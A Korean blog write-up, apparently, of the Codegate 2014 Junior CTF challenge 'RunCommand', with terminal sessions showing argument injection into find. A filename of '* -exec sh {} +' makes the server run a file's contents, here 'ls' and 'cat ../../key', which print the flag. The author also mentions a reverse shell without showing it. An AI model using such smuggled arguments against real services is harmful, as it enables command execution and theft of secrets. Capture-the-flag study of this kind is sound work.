최상단

컨텐츠

[Codegate 2014 Junior CTF] RunCommand

글 정보

Category
WarGame
2014. 2. 14. 23:24

본문

입력한 값이 find의 아규먼트로 넘어간다. 이를 이용해서 문제를 풀어야하는데, find에는 -exec라는 먹음직스러운 옵션이 있으니.....

이를 활용하자.

일단, 활용은 되는데, 명령어를 실행시키기에는 조금 부족하다.

그러다가 생각한 부분이 파일의 내용은 필터링을 안하니, 이를 이용하는 방법을 찾아보기로........


스크립트를 만들어보자.라는 생각이 들었다.

파일 내용에 스크립트 내용이 있고, -exec로 해당 스크립트를 실행시킨다면 가능할 것 같았다.

간단하게 bash형태로 스크립트는 아니고,, 명령어를 담고있는 파일을 생성하고 해당 파일을 sh를 통해 실행시키는 걸로 해결.


파이썬으로 리버스쉘도 띄어봤는데, 잘 된다.ㅋㅋ




guest@codegate:/tmp/tt$ ls

aaa  closure  dodokey  dodoreverse  key  p  pwn  pwnblitz  sh

guest@codegate:/tmp/tt$ vi sh


touch akkdkd


guest@codegate:/tmp/tt$ find sh -exec cat {} +

touch akkdkd

guest@codegate:/tmp/tt$ find sh -exec sh {} +  

guest@codegate:/tmp/tt$

guest@codegate:/tmp/tt$ ls

aaa  akkdkd  closure  dodokey  dodoreverse  key  p  pwn  pwnblitz  sh

guest@codegate:/tmp/tt$ nc 58.229.183.22 2020



guest@codegate:/tmp/tt$ nc 58.229.183.22 2020

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

1. Login

2. Create Account

3. Quit

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

$ 2

Username: kkd

[kkd31320059] user created.

$ 1

Username: kkd31320059

login success.

##################################

1. create file

2. check file list

3. Log out

##################################

# 1

[+] input filename to write : * -exec sh {} +

[+] input contents of this file : (MAX 1024 bytes)

ls ..

[+] Write Done!

# 2

0000035178712

00035178712

00049315681

0035178712

009c30ecf235178712

031320059

03132005931320059

035178712

045210573


guest@codegate:/tmp/tt$ nc 58.229.183.22 2020

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

1. Login

2. Create Account

3. Quit

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

$ 2

Username: kdjfk

[kdjfk31320059] user created.

$ 1

Username: kdjfk31320059

login success.

##################################

1. create file

2. check file list

3. Log out

##################################

# 1

[+] input filename to write : * -exec sh {} +

[+] input contents of this file : (MAX 1024 bytes)

ls ../../

[+] Write Done!

# 2

examples.desktop

key

sandbox

server.py


# 1

[+] input filename to write : * -exec sh {} +

[+] input contents of this file : (MAX 1024 bytes)

cat ../../key

[+] Write Done!

# 2

DUD3_GOOD_KEY_IS_GOLD_KEY



트랙백과 댓글 여닫기

TOP